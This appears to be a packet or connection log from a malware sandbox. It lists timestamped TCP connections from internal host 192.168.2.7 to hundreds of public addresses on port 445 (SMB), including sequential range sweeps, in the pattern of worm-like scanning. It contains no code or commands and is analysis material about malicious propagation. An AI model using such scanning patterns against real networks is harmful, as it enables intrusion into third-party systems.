Jul 20, 2022 13:27:53.950371027 CEST	62598	445	192.168.2.7	223.161.60.220
Jul 20, 2022 13:27:53.950433969 CEST	62599	445	192.168.2.7	84.9.14.116
Jul 20, 2022 13:27:53.950565100 CEST	62602	445	192.168.2.7	129.164.210.140
Jul 20, 2022 13:27:53.950690031 CEST	62605	445	192.168.2.7	24.176.174.17
Jul 20, 2022 13:27:53.950848103 CEST	62608	445	192.168.2.7	186.127.224.135
Jul 20, 2022 13:27:53.950866938 CEST	62609	445	192.168.2.7	118.86.55.69
Jul 20, 2022 13:27:54.088890076 CEST	62614	445	192.168.2.7	94.27.140.104
Jul 20, 2022 13:27:54.088854074 CEST	62615	445	192.168.2.7	185.15.42.165
Jul 20, 2022 13:27:54.089090109 CEST	62616	445	192.168.2.7	5.240.140.157
Jul 20, 2022 13:27:54.447845936 CEST	62519	445	192.168.2.7	114.45.54.96
Jul 20, 2022 13:27:54.708862066 CEST	445	62519	114.45.54.96	192.168.2.7
Jul 20, 2022 13:27:54.760324955 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:54.807569027 CEST	62638	445	192.168.2.7	77.109.150.180
Jul 20, 2022 13:27:54.807648897 CEST	62639	445	192.168.2.7	200.112.154.46
Jul 20, 2022 13:27:54.948141098 CEST	62643	445	192.168.2.7	41.243.75.202
Jul 20, 2022 13:27:54.948496103 CEST	62651	445	192.168.2.7	220.164.186.63
Jul 20, 2022 13:27:54.948651075 CEST	62654	445	192.168.2.7	90.14.134.90
Jul 20, 2022 13:27:54.948793888 CEST	62653	445	192.168.2.7	191.148.203.24
Jul 20, 2022 13:27:54.948821068 CEST	62655	445	192.168.2.7	213.64.160.217
Jul 20, 2022 13:27:55.026479959 CEST	62659	445	192.168.2.7	204.28.160.167
Jul 20, 2022 13:27:55.073506117 CEST	62666	445	192.168.2.7	186.179.125.14
Jul 20, 2022 13:27:55.073647022 CEST	62668	445	192.168.2.7	205.236.153.69
Jul 20, 2022 13:27:55.073976040 CEST	62676	445	192.168.2.7	101.87.49.49
Jul 20, 2022 13:27:55.074039936 CEST	62678	445	192.168.2.7	189.244.60.89
Jul 20, 2022 13:27:55.074131966 CEST	62680	445	192.168.2.7	207.78.68.215
Jul 20, 2022 13:27:55.074240923 CEST	62683	445	192.168.2.7	10.92.49.80
Jul 20, 2022 13:27:55.074604988 CEST	62691	445	192.168.2.7	2.44.6.97
Jul 20, 2022 13:27:55.074654102 CEST	62685	445	192.168.2.7	212.153.190.7
Jul 20, 2022 13:27:55.074698925 CEST	62693	445	192.168.2.7	62.26.219.7
Jul 20, 2022 13:27:55.074913979 CEST	62699	445	192.168.2.7	14.73.172.155
Jul 20, 2022 13:27:55.075110912 CEST	62704	445	192.168.2.7	142.90.191.179
Jul 20, 2022 13:27:55.075190067 CEST	62705	445	192.168.2.7	116.86.128.124
Jul 20, 2022 13:27:55.075289965 CEST	62706	445	192.168.2.7	42.236.60.254
Jul 20, 2022 13:27:55.075362921 CEST	62709	445	192.168.2.7	35.129.8.251
Jul 20, 2022 13:27:55.075403929 CEST	62710	445	192.168.2.7	222.98.108.125
Jul 20, 2022 13:27:55.075592041 CEST	62714	445	192.168.2.7	152.6.114.188
Jul 20, 2022 13:27:55.075659037 CEST	62716	445	192.168.2.7	96.158.171.104
Jul 20, 2022 13:27:55.118355989 CEST	445	62639	200.112.154.46	192.168.2.7
Jul 20, 2022 13:27:55.167021990 CEST	62733	445	192.168.2.7	94.27.140.105
Jul 20, 2022 13:27:55.167027950 CEST	62732	445	192.168.2.7	185.15.42.166
Jul 20, 2022 13:27:55.167176962 CEST	62734	445	192.168.2.7	5.240.140.158
Jul 20, 2022 13:27:55.275991917 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:55.619745970 CEST	62639	445	192.168.2.7	200.112.154.46
Jul 20, 2022 13:27:55.927520037 CEST	445	62639	200.112.154.46	192.168.2.7
Jul 20, 2022 13:27:55.932879925 CEST	62757	445	192.168.2.7	94.217.174.17
Jul 20, 2022 13:27:55.932882071 CEST	62756	445	192.168.2.7	52.166.200.80
Jul 20, 2022 13:27:56.073299885 CEST	62762	445	192.168.2.7	62.24.104.80
Jul 20, 2022 13:27:56.073668003 CEST	62768	445	192.168.2.7	162.37.225.108
Jul 20, 2022 13:27:56.073889971 CEST	62771	445	192.168.2.7	88.7.80.241
Jul 20, 2022 13:27:56.074071884 CEST	62774	445	192.168.2.7	173.196.3.99
Jul 20, 2022 13:27:56.074076891 CEST	62772	445	192.168.2.7	223.92.112.205
Jul 20, 2022 13:27:56.151689053 CEST	62778	445	192.168.2.7	12.142.40.28
Jul 20, 2022 13:27:56.198568106 CEST	62782	445	192.168.2.7	72.201.148.133
Jul 20, 2022 13:27:56.198801041 CEST	62787	445	192.168.2.7	149.13.96.182
Jul 20, 2022 13:27:56.198931932 CEST	62789	445	192.168.2.7	84.235.28.48
Jul 20, 2022 13:27:56.198973894 CEST	62790	445	192.168.2.7	81.147.159.107
Jul 20, 2022 13:27:56.199166059 CEST	62792	445	192.168.2.7	176.56.130.213
Jul 20, 2022 13:27:56.199286938 CEST	62794	445	192.168.2.7	140.18.8.248
Jul 20, 2022 13:27:56.199708939 CEST	62802	445	192.168.2.7	140.194.95.165
Jul 20, 2022 13:27:56.199719906 CEST	62801	445	192.168.2.7	163.140.30.91
Jul 20, 2022 13:27:56.200470924 CEST	62812	445	192.168.2.7	205.116.221.85
Jul 20, 2022 13:27:56.200489044 CEST	62808	445	192.168.2.7	140.123.148.167
Jul 20, 2022 13:27:56.200505972 CEST	62813	445	192.168.2.7	60.134.21.129
Jul 20, 2022 13:27:56.200593948 CEST	62814	445	192.168.2.7	210.173.7.82
Jul 20, 2022 13:27:56.200727940 CEST	62816	445	192.168.2.7	4.157.230.236
Jul 20, 2022 13:27:56.200905085 CEST	62820	445	192.168.2.7	62.240.65.39
Jul 20, 2022 13:27:56.201016903 CEST	62821	445	192.168.2.7	219.226.217.177
Jul 20, 2022 13:27:56.202075958 CEST	62842	445	192.168.2.7	34.87.157.42
Jul 20, 2022 13:27:56.202466965 CEST	62849	445	192.168.2.7	17.65.218.155
Jul 20, 2022 13:27:56.244870901 CEST	62025	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:56.245112896 CEST	62851	445	192.168.2.7	94.27.140.106
Jul 20, 2022 13:27:56.245225906 CEST	62852	445	192.168.2.7	185.15.42.167
Jul 20, 2022 13:27:56.245258093 CEST	62853	445	192.168.2.7	5.240.140.159
Jul 20, 2022 13:27:56.505302906 CEST	445	62813	60.134.21.129	192.168.2.7
Jul 20, 2022 13:27:56.854708910 CEST	62859	445	192.168.2.7	172.65.175.10
Jul 20, 2022 13:27:56.871237040 CEST	445	62859	172.65.175.10	192.168.2.7
Jul 20, 2022 13:27:56.871342897 CEST	62859	445	192.168.2.7	172.65.175.10
Jul 20, 2022 13:27:56.871491909 CEST	62859	445	192.168.2.7	172.65.175.10
Jul 20, 2022 13:27:56.888003111 CEST	445	62859	172.65.175.10	192.168.2.7
Jul 20, 2022 13:27:56.888323069 CEST	445	62859	172.65.175.10	192.168.2.7
Jul 20, 2022 13:27:56.949146032 CEST	62876	445	192.168.2.7	172.65.175.11
Jul 20, 2022 13:27:56.967299938 CEST	445	62876	172.65.175.11	192.168.2.7
Jul 20, 2022 13:27:56.967438936 CEST	62876	445	192.168.2.7	172.65.175.11
Jul 20, 2022 13:27:56.967566967 CEST	62876	445	192.168.2.7	172.65.175.11
Jul 20, 2022 13:27:56.968158007 CEST	62877	445	192.168.2.7	172.65.175.11
Jul 20, 2022 13:27:56.984726906 CEST	445	62877	172.65.175.11	192.168.2.7
Jul 20, 2022 13:27:56.984797955 CEST	445	62876	172.65.175.11	192.168.2.7
Jul 20, 2022 13:27:56.984833956 CEST	62877	445	192.168.2.7	172.65.175.11
Jul 20, 2022 13:27:56.984859943 CEST	445	62876	172.65.175.11	192.168.2.7
Jul 20, 2022 13:27:56.984919071 CEST	62877	445	192.168.2.7	172.65.175.11
Jul 20, 2022 13:27:57.001485109 CEST	445	62877	172.65.175.11	192.168.2.7
Jul 20, 2022 13:27:57.002480984 CEST	445	62877	172.65.175.11	192.168.2.7
Jul 20, 2022 13:27:57.010493994 CEST	62813	445	192.168.2.7	60.134.21.129
Jul 20, 2022 13:27:57.058020115 CEST	62878	445	192.168.2.7	157.149.102.39
Jul 20, 2022 13:27:57.058049917 CEST	62879	445	192.168.2.7	65.206.236.125
Jul 20, 2022 13:27:57.183326006 CEST	62884	445	192.168.2.7	20.16.125.30
Jul 20, 2022 13:27:57.183830976 CEST	62890	445	192.168.2.7	44.156.137.126
Jul 20, 2022 13:27:57.184004068 CEST	62893	445	192.168.2.7	158.148.161.190
Jul 20, 2022 13:27:57.184104919 CEST	62894	445	192.168.2.7	125.22.181.136
Jul 20, 2022 13:27:57.184298992 CEST	62896	445	192.168.2.7	139.108.54.106
Jul 20, 2022 13:27:57.260929108 CEST	62899	445	192.168.2.7	213.12.205.201
Jul 20, 2022 13:27:57.308998108 CEST	62921	445	192.168.2.7	133.253.63.94
Jul 20, 2022 13:27:57.309114933 CEST	62923	445	192.168.2.7	62.135.225.184
Jul 20, 2022 13:27:57.309281111 CEST	62925	445	192.168.2.7	7.41.97.104
Jul 20, 2022 13:27:57.309441090 CEST	62927	445	192.168.2.7	119.248.44.40
Jul 20, 2022 13:27:57.309518099 CEST	62929	445	192.168.2.7	116.89.202.135
Jul 20, 2022 13:27:57.309839010 CEST	62935	445	192.168.2.7	137.74.31.166
Jul 20, 2022 13:27:57.309994936 CEST	62937	445	192.168.2.7	217.195.109.52
Jul 20, 2022 13:27:57.310230017 CEST	62940	445	192.168.2.7	222.23.82.59
Jul 20, 2022 13:27:57.310247898 CEST	62941	445	192.168.2.7	180.53.100.8
Jul 20, 2022 13:27:57.310679913 CEST	62948	445	192.168.2.7	157.212.115.212
Jul 20, 2022 13:27:57.310847998 CEST	62951	445	192.168.2.7	209.206.164.37
Jul 20, 2022 13:27:57.310879946 CEST	62952	445	192.168.2.7	62.27.180.197
Jul 20, 2022 13:27:57.310997009 CEST	62953	445	192.168.2.7	110.88.244.233
Jul 20, 2022 13:27:57.311289072 CEST	62959	445	192.168.2.7	30.15.9.211
Jul 20, 2022 13:27:57.311602116 CEST	62962	445	192.168.2.7	185.15.42.168
Jul 20, 2022 13:27:57.311608076 CEST	62963	445	192.168.2.7	94.27.140.107
Jul 20, 2022 13:27:57.311676979 CEST	62964	445	192.168.2.7	5.240.140.160
Jul 20, 2022 13:27:57.312045097 CEST	62967	445	192.168.2.7	209.5.178.155
Jul 20, 2022 13:27:57.312052011 CEST	62968	445	192.168.2.7	119.227.183.153
Jul 20, 2022 13:27:57.312432051 CEST	445	62813	60.134.21.129	192.168.2.7
Jul 20, 2022 13:27:57.312448978 CEST	62975	445	192.168.2.7	71.72.229.58
Jul 20, 2022 13:27:57.682410955 CEST	62027	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:27:58.182969093 CEST	62998	445	192.168.2.7	107.194.55.8
Jul 20, 2022 13:27:58.183058023 CEST	63000	445	192.168.2.7	14.118.18.194
Jul 20, 2022 13:27:58.308303118 CEST	63004	445	192.168.2.7	122.213.89.213
Jul 20, 2022 13:27:58.308742046 CEST	63013	445	192.168.2.7	203.141.115.91
Jul 20, 2022 13:27:58.308809042 CEST	63014	445	192.168.2.7	26.105.100.83
Jul 20, 2022 13:27:58.308826923 CEST	63010	445	192.168.2.7	88.89.218.192
Jul 20, 2022 13:27:58.308912039 CEST	63015	445	192.168.2.7	2.59.81.244
Jul 20, 2022 13:27:58.386185884 CEST	63020	445	192.168.2.7	14.195.195.91
Jul 20, 2022 13:27:58.386296988 CEST	63022	445	192.168.2.7	5.240.140.161
Jul 20, 2022 13:27:58.386337042 CEST	63023	445	192.168.2.7	185.15.42.169
Jul 20, 2022 13:27:58.386492014 CEST	63024	445	192.168.2.7	94.27.140.108
Jul 20, 2022 13:27:58.433029890 CEST	63025	445	192.168.2.7	156.252.160.244
Jul 20, 2022 13:27:58.433284998 CEST	63030	445	192.168.2.7	92.30.147.217
Jul 20, 2022 13:27:58.433633089 CEST	63035	445	192.168.2.7	43.223.69.9
Jul 20, 2022 13:27:58.433839083 CEST	63036	445	192.168.2.7	200.83.211.31
Jul 20, 2022 13:27:58.433866024 CEST	63038	445	192.168.2.7	88.190.168.80
Jul 20, 2022 13:27:58.433886051 CEST	63039	445	192.168.2.7	102.6.207.231
Jul 20, 2022 13:27:58.434286118 CEST	63046	445	192.168.2.7	214.156.103.197
Jul 20, 2022 13:27:58.434509039 CEST	63049	445	192.168.2.7	199.130.142.70
Jul 20, 2022 13:27:58.434680939 CEST	63052	445	192.168.2.7	176.154.214.93
Jul 20, 2022 13:27:58.434735060 CEST	63053	445	192.168.2.7	73.151.3.23
Jul 20, 2022 13:27:58.435074091 CEST	63059	445	192.168.2.7	81.227.139.194
Jul 20, 2022 13:27:58.435178995 CEST	63061	445	192.168.2.7	154.247.120.203
Jul 20, 2022 13:27:58.435292959 CEST	63063	445	192.168.2.7	208.43.252.235
Jul 20, 2022 13:27:58.435401917 CEST	63065	445	192.168.2.7	78.150.247.153
Jul 20, 2022 13:27:58.435575008 CEST	63067	445	192.168.2.7	20.254.87.16
Jul 20, 2022 13:27:58.436861992 CEST	63089	445	192.168.2.7	139.151.51.204
Jul 20, 2022 13:27:58.437201977 CEST	63094	445	192.168.2.7	71.208.230.40
Jul 20, 2022 13:27:59.292366028 CEST	63118	445	192.168.2.7	135.83.39.135
Jul 20, 2022 13:27:59.292460918 CEST	63119	445	192.168.2.7	197.27.188.51
Jul 20, 2022 13:27:59.433347940 CEST	63126	445	192.168.2.7	72.72.180.36
Jul 20, 2022 13:27:59.433399916 CEST	63127	445	192.168.2.7	65.137.169.20
Jul 20, 2022 13:27:59.433526993 CEST	63129	445	192.168.2.7	61.191.145.159
Jul 20, 2022 13:27:59.433912992 CEST	63136	445	192.168.2.7	71.111.19.148
Jul 20, 2022 13:27:59.433996916 CEST	63123	445	192.168.2.7	164.103.15.11
Jul 20, 2022 13:27:59.464339972 CEST	63139	445	192.168.2.7	185.15.42.170
Jul 20, 2022 13:27:59.464576960 CEST	63138	445	192.168.2.7	94.27.140.109
Jul 20, 2022 13:27:59.464613914 CEST	63140	445	192.168.2.7	5.240.140.162
Jul 20, 2022 13:27:59.510263920 CEST	445	63139	185.15.42.170	192.168.2.7
Jul 20, 2022 13:27:59.511080980 CEST	63142	445	192.168.2.7	5.53.10.148
Jul 20, 2022 13:27:59.558096886 CEST	63147	445	192.168.2.7	194.137.93.100
Jul 20, 2022 13:27:59.558223963 CEST	63148	445	192.168.2.7	88.234.137.251
Jul 20, 2022 13:27:59.558378935 CEST	63149	445	192.168.2.7	141.220.55.129
Jul 20, 2022 13:27:59.558541059 CEST	63151	445	192.168.2.7	44.219.110.170
Jul 20, 2022 13:27:59.559077978 CEST	63159	445	192.168.2.7	156.184.232.253
Jul 20, 2022 13:27:59.559309959 CEST	63162	445	192.168.2.7	50.162.74.250
Jul 20, 2022 13:27:59.559477091 CEST	63165	445	192.168.2.7	66.180.105.13
Jul 20, 2022 13:27:59.559870958 CEST	63164	445	192.168.2.7	14.192.190.198
Jul 20, 2022 13:27:59.559875965 CEST	63171	445	192.168.2.7	47.144.154.131
Jul 20, 2022 13:27:59.560043097 CEST	63173	445	192.168.2.7	117.220.62.162
Jul 20, 2022 13:27:59.560206890 CEST	63175	445	192.168.2.7	28.229.41.79
Jul 20, 2022 13:27:59.560367107 CEST	63176	445	192.168.2.7	81.198.48.64
Jul 20, 2022 13:27:59.560501099 CEST	63178	445	192.168.2.7	149.89.109.208
Jul 20, 2022 13:27:59.561789989 CEST	63201	445	192.168.2.7	125.41.71.197
Jul 20, 2022 13:27:59.562062979 CEST	63206	445	192.168.2.7	15.42.21.47
Jul 20, 2022 13:27:59.562391996 CEST	63208	445	192.168.2.7	1.113.168.180
Jul 20, 2022 13:27:59.562705040 CEST	63214	445	192.168.2.7	94.76.141.20
Jul 20, 2022 13:28:00.010751009 CEST	63139	445	192.168.2.7	185.15.42.170
Jul 20, 2022 13:28:00.011019945 CEST	63220	445	192.168.2.7	172.65.175.11
Jul 20, 2022 13:28:00.031943083 CEST	445	63220	172.65.175.11	192.168.2.7
Jul 20, 2022 13:28:00.032074928 CEST	63220	445	192.168.2.7	172.65.175.11
Jul 20, 2022 13:28:00.032172918 CEST	63220	445	192.168.2.7	172.65.175.11
Jul 20, 2022 13:28:00.048656940 CEST	445	63220	172.65.175.11	192.168.2.7
Jul 20, 2022 13:28:00.049387932 CEST	445	63220	172.65.175.11	192.168.2.7
Jul 20, 2022 13:28:00.056818008 CEST	445	63139	185.15.42.170	192.168.2.7
Jul 20, 2022 13:28:00.105406046 CEST	63221	445	192.168.2.7	172.65.175.12
Jul 20, 2022 13:28:00.122111082 CEST	445	63221	172.65.175.12	192.168.2.7
Jul 20, 2022 13:28:00.122210979 CEST	63221	445	192.168.2.7	172.65.175.12
Jul 20, 2022 13:28:00.122304916 CEST	63221	445	192.168.2.7	172.65.175.12
Jul 20, 2022 13:28:00.122977018 CEST	63222	445	192.168.2.7	172.65.175.12
Jul 20, 2022 13:28:00.139409065 CEST	445	63221	172.65.175.12	192.168.2.7
Jul 20, 2022 13:28:00.139503002 CEST	445	63222	172.65.175.12	192.168.2.7
Jul 20, 2022 13:28:00.139616966 CEST	63222	445	192.168.2.7	172.65.175.12
Jul 20, 2022 13:28:00.139714956 CEST	63222	445	192.168.2.7	172.65.175.12
Jul 20, 2022 13:28:00.156280041 CEST	445	63222	172.65.175.12	192.168.2.7
Jul 20, 2022 13:28:00.157718897 CEST	445	63222	172.65.175.12	192.168.2.7
Jul 20, 2022 13:28:00.417766094 CEST	63241	445	192.168.2.7	25.139.5.253
Jul 20, 2022 13:28:00.418051004 CEST	63243	445	192.168.2.7	182.68.26.244
Jul 20, 2022 13:28:00.527000904 CEST	63247	445	192.168.2.7	94.27.140.110
Jul 20, 2022 13:28:00.527004004 CEST	63248	445	192.168.2.7	185.15.42.171
Jul 20, 2022 13:28:00.527122974 CEST	63249	445	192.168.2.7	5.240.140.163
Jul 20, 2022 13:28:00.558260918 CEST	63250	445	192.168.2.7	175.80.176.71
Jul 20, 2022 13:28:00.558509111 CEST	63254	445	192.168.2.7	113.169.62.58
Jul 20, 2022 13:28:00.558541059 CEST	63256	445	192.168.2.7	117.30.186.217
Jul 20, 2022 13:28:00.559004068 CEST	63264	445	192.168.2.7	165.123.46.147
Jul 20, 2022 13:28:00.636243105 CEST	63267	445	192.168.2.7	196.69.161.250
Jul 20, 2022 13:28:00.683705091 CEST	63282	445	192.168.2.7	140.190.165.1
Jul 20, 2022 13:28:00.683803082 CEST	63283	445	192.168.2.7	125.237.136.156
Jul 20, 2022 13:28:00.684041023 CEST	63285	445	192.168.2.7	52.62.182.11
Jul 20, 2022 13:28:00.684393883 CEST	63290	445	192.168.2.7	182.169.134.237
Jul 20, 2022 13:28:00.684488058 CEST	63291	445	192.168.2.7	17.129.249.113
Jul 20, 2022 13:28:00.684628010 CEST	63293	445	192.168.2.7	144.92.55.51
Jul 20, 2022 13:28:00.684756041 CEST	63295	445	192.168.2.7	150.235.119.81
Jul 20, 2022 13:28:00.684977055 CEST	63298	445	192.168.2.7	132.9.154.13
Jul 20, 2022 13:28:00.685564041 CEST	63310	445	192.168.2.7	6.34.85.110
Jul 20, 2022 13:28:00.685699940 CEST	63312	445	192.168.2.7	113.3.85.233
Jul 20, 2022 13:28:00.685931921 CEST	63315	445	192.168.2.7	112.178.36.25
Jul 20, 2022 13:28:00.686127901 CEST	63311	445	192.168.2.7	12.163.86.128
Jul 20, 2022 13:28:00.686148882 CEST	63318	445	192.168.2.7	146.66.180.228
Jul 20, 2022 13:28:00.686388016 CEST	63323	445	192.168.2.7	53.121.245.9
Jul 20, 2022 13:28:00.686487913 CEST	63325	445	192.168.2.7	85.79.1.225
Jul 20, 2022 13:28:00.686795950 CEST	63331	445	192.168.2.7	17.229.242.68
Jul 20, 2022 13:28:01.543329954 CEST	63365	445	192.168.2.7	203.179.53.243
Jul 20, 2022 13:28:01.544625044 CEST	63364	445	192.168.2.7	190.242.115.197
Jul 20, 2022 13:28:01.589886904 CEST	63367	445	192.168.2.7	185.15.42.172
Jul 20, 2022 13:28:01.590084076 CEST	63369	445	192.168.2.7	94.27.140.111
Jul 20, 2022 13:28:01.590183020 CEST	63370	445	192.168.2.7	5.240.140.164
Jul 20, 2022 13:28:01.667638063 CEST	63371	445	192.168.2.7	217.118.190.44
Jul 20, 2022 13:28:01.667807102 CEST	63374	445	192.168.2.7	76.137.136.83
Jul 20, 2022 13:28:01.667984962 CEST	63376	445	192.168.2.7	15.160.121.190
Jul 20, 2022 13:28:01.668052912 CEST	63377	445	192.168.2.7	205.204.163.183
Jul 20, 2022 13:28:01.668613911 CEST	63384	445	192.168.2.7	189.57.64.15
Jul 20, 2022 13:28:01.747611046 CEST	63388	445	192.168.2.7	176.166.137.221
Jul 20, 2022 13:28:01.783150911 CEST	445	63388	176.166.137.221	192.168.2.7
Jul 20, 2022 13:28:01.783560991 CEST	63390	445	192.168.2.7	176.166.137.1
Jul 20, 2022 13:28:01.783596992 CEST	63388	445	192.168.2.7	176.166.137.221
Jul 20, 2022 13:28:01.783612013 CEST	63388	445	192.168.2.7	176.166.137.221
Jul 20, 2022 13:28:01.809031963 CEST	63397	445	192.168.2.7	83.40.51.79
Jul 20, 2022 13:28:01.809103966 CEST	63399	445	192.168.2.7	159.165.4.4
Jul 20, 2022 13:28:01.809230089 CEST	63401	445	192.168.2.7	126.145.19.58
Jul 20, 2022 13:28:01.809501886 CEST	63405	445	192.168.2.7	22.162.61.24
Jul 20, 2022 13:28:01.809540987 CEST	63406	445	192.168.2.7	41.205.15.74
Jul 20, 2022 13:28:01.809664965 CEST	63408	445	192.168.2.7	201.116.90.75
Jul 20, 2022 13:28:01.809784889 CEST	63409	445	192.168.2.7	195.111.234.83
Jul 20, 2022 13:28:01.809911013 CEST	63411	445	192.168.2.7	204.60.166.191
Jul 20, 2022 13:28:01.810209036 CEST	63417	445	192.168.2.7	137.239.90.227
Jul 20, 2022 13:28:01.810569048 CEST	63424	445	192.168.2.7	126.232.97.214
Jul 20, 2022 13:28:01.810632944 CEST	63425	445	192.168.2.7	182.70.63.5
Jul 20, 2022 13:28:01.811085939 CEST	63433	445	192.168.2.7	47.15.1.54
Jul 20, 2022 13:28:01.811397076 CEST	63426	445	192.168.2.7	34.242.88.250
Jul 20, 2022 13:28:01.811398983 CEST	63438	445	192.168.2.7	171.104.214.233
Jul 20, 2022 13:28:01.811415911 CEST	63428	445	192.168.2.7	190.30.111.225
Jul 20, 2022 13:28:01.811422110 CEST	63439	445	192.168.2.7	58.253.219.173
Jul 20, 2022 13:28:01.811748028 CEST	63445	445	192.168.2.7	170.187.242.173
Jul 20, 2022 13:28:01.823100090 CEST	445	63388	176.166.137.221	192.168.2.7
Jul 20, 2022 13:28:01.843624115 CEST	445	63388	176.166.137.221	192.168.2.7
Jul 20, 2022 13:28:01.843923092 CEST	63388	445	192.168.2.7	176.166.137.221
Jul 20, 2022 13:28:02.668039083 CEST	63486	445	192.168.2.7	9.8.238.48
Jul 20, 2022 13:28:02.668329000 CEST	63488	445	192.168.2.7	59.254.119.205
Jul 20, 2022 13:28:02.668598890 CEST	63490	445	192.168.2.7	185.15.42.173
Jul 20, 2022 13:28:02.668701887 CEST	63491	445	192.168.2.7	5.240.140.165
Jul 20, 2022 13:28:02.668807030 CEST	63492	445	192.168.2.7	94.27.140.112
Jul 20, 2022 13:28:02.792716980 CEST	63495	445	192.168.2.7	221.118.68.169
Jul 20, 2022 13:28:02.792849064 CEST	63497	445	192.168.2.7	1.181.247.221
Jul 20, 2022 13:28:02.792973995 CEST	63498	445	192.168.2.7	136.53.29.27
Jul 20, 2022 13:28:02.793085098 CEST	63500	445	192.168.2.7	85.225.159.149
Jul 20, 2022 13:28:02.793526888 CEST	63508	445	192.168.2.7	187.135.51.58
Jul 20, 2022 13:28:02.839957952 CEST	63509	445	192.168.2.7	176.166.137.2
Jul 20, 2022 13:28:02.918143988 CEST	63516	445	192.168.2.7	170.165.35.42
Jul 20, 2022 13:28:02.918248892 CEST	63517	445	192.168.2.7	214.214.63.43
Jul 20, 2022 13:28:02.918354034 CEST	63519	445	192.168.2.7	128.162.125.182
Jul 20, 2022 13:28:02.918498039 CEST	63520	445	192.168.2.7	121.156.223.198
Jul 20, 2022 13:28:02.918603897 CEST	63522	445	192.168.2.7	82.47.38.207
Jul 20, 2022 13:28:02.918811083 CEST	63526	445	192.168.2.7	82.40.105.154
Jul 20, 2022 13:28:02.918895006 CEST	63527	445	192.168.2.7	135.243.77.7
Jul 20, 2022 13:28:02.919414997 CEST	63538	445	192.168.2.7	203.219.148.157
Jul 20, 2022 13:28:02.919529915 CEST	63539	445	192.168.2.7	151.206.131.56
Jul 20, 2022 13:28:02.919704914 CEST	63540	445	192.168.2.7	115.93.79.195
Jul 20, 2022 13:28:02.919706106 CEST	63543	445	192.168.2.7	27.104.183.50
Jul 20, 2022 13:28:02.919981003 CEST	63547	445	192.168.2.7	119.224.225.99
Jul 20, 2022 13:28:02.920186996 CEST	63551	445	192.168.2.7	180.221.33.205
Jul 20, 2022 13:28:02.920342922 CEST	63554	445	192.168.2.7	221.185.186.213
Jul 20, 2022 13:28:02.920548916 CEST	63559	445	192.168.2.7	183.240.115.204
Jul 20, 2022 13:28:02.921477079 CEST	63580	445	192.168.2.7	89.118.45.1
Jul 20, 2022 13:28:02.921650887 CEST	63583	445	192.168.2.7	206.175.5.253
Jul 20, 2022 13:28:03.167685986 CEST	63586	445	192.168.2.7	172.65.175.12
Jul 20, 2022 13:28:03.184216976 CEST	445	63586	172.65.175.12	192.168.2.7
Jul 20, 2022 13:28:03.184334993 CEST	63586	445	192.168.2.7	172.65.175.12
Jul 20, 2022 13:28:03.184379101 CEST	63586	445	192.168.2.7	172.65.175.12
Jul 20, 2022 13:28:03.202857971 CEST	445	63586	172.65.175.12	192.168.2.7
Jul 20, 2022 13:28:03.203694105 CEST	445	63586	172.65.175.12	192.168.2.7
Jul 20, 2022 13:28:03.261543036 CEST	63587	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:03.282735109 CEST	445	63587	172.65.175.13	192.168.2.7
Jul 20, 2022 13:28:03.282861948 CEST	63587	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:03.282896042 CEST	63587	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:03.283274889 CEST	63588	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:03.589241028 CEST	63587	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:03.607083082 CEST	445	63587	172.65.175.13	192.168.2.7
Jul 20, 2022 13:28:03.745979071 CEST	63611	445	192.168.2.7	185.15.42.174
Jul 20, 2022 13:28:03.746129036 CEST	63612	445	192.168.2.7	94.27.140.113
Jul 20, 2022 13:28:03.746133089 CEST	63610	445	192.168.2.7	5.240.140.166
Jul 20, 2022 13:28:03.793133974 CEST	63615	445	192.168.2.7	88.23.185.221
Jul 20, 2022 13:28:03.793494940 CEST	63616	445	192.168.2.7	183.211.44.41
Jul 20, 2022 13:28:03.917896986 CEST	63620	445	192.168.2.7	55.32.237.159
Jul 20, 2022 13:28:03.918236971 CEST	63627	445	192.168.2.7	93.28.119.151
Jul 20, 2022 13:28:03.918350935 CEST	63629	445	192.168.2.7	52.151.162.106
Jul 20, 2022 13:28:03.918517113 CEST	63630	445	192.168.2.7	217.28.123.66
Jul 20, 2022 13:28:03.918586969 CEST	63632	445	192.168.2.7	19.175.113.40
Jul 20, 2022 13:28:03.918704987 CEST	63634	445	192.168.2.7	176.166.137.3
Jul 20, 2022 13:28:04.043689966 CEST	63639	445	192.168.2.7	10.3.41.213
Jul 20, 2022 13:28:04.043845892 CEST	63642	445	192.168.2.7	199.196.173.242
Jul 20, 2022 13:28:04.043968916 CEST	63644	445	192.168.2.7	71.3.240.28
Jul 20, 2022 13:28:04.044570923 CEST	63655	445	192.168.2.7	2.77.174.130
Jul 20, 2022 13:28:04.044656038 CEST	63654	445	192.168.2.7	191.119.41.53
Jul 20, 2022 13:28:04.044706106 CEST	63656	445	192.168.2.7	39.161.145.132
Jul 20, 2022 13:28:04.044898033 CEST	63659	445	192.168.2.7	49.246.239.114
Jul 20, 2022 13:28:04.045285940 CEST	63665	445	192.168.2.7	150.99.142.137
Jul 20, 2022 13:28:04.045388937 CEST	63667	445	192.168.2.7	213.71.205.214
Jul 20, 2022 13:28:04.045653105 CEST	63672	445	192.168.2.7	21.248.128.6
Jul 20, 2022 13:28:04.045892000 CEST	63676	445	192.168.2.7	62.137.90.108
Jul 20, 2022 13:28:04.046984911 CEST	63697	445	192.168.2.7	192.223.14.184
Jul 20, 2022 13:28:04.047008038 CEST	63698	445	192.168.2.7	187.99.137.8
Jul 20, 2022 13:28:04.047257900 CEST	63701	445	192.168.2.7	187.102.223.245
Jul 20, 2022 13:28:04.047497034 CEST	63705	445	192.168.2.7	111.52.18.150
Jul 20, 2022 13:28:04.047535896 CEST	63706	445	192.168.2.7	88.111.67.221
Jul 20, 2022 13:28:04.047712088 CEST	63708	445	192.168.2.7	171.199.142.24
Jul 20, 2022 13:28:04.292362928 CEST	62025	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:28:04.370527983 CEST	61677	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:28:04.435532093 CEST	63712	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:04.465871096 CEST	445	63712	93.22.219.6	192.168.2.7
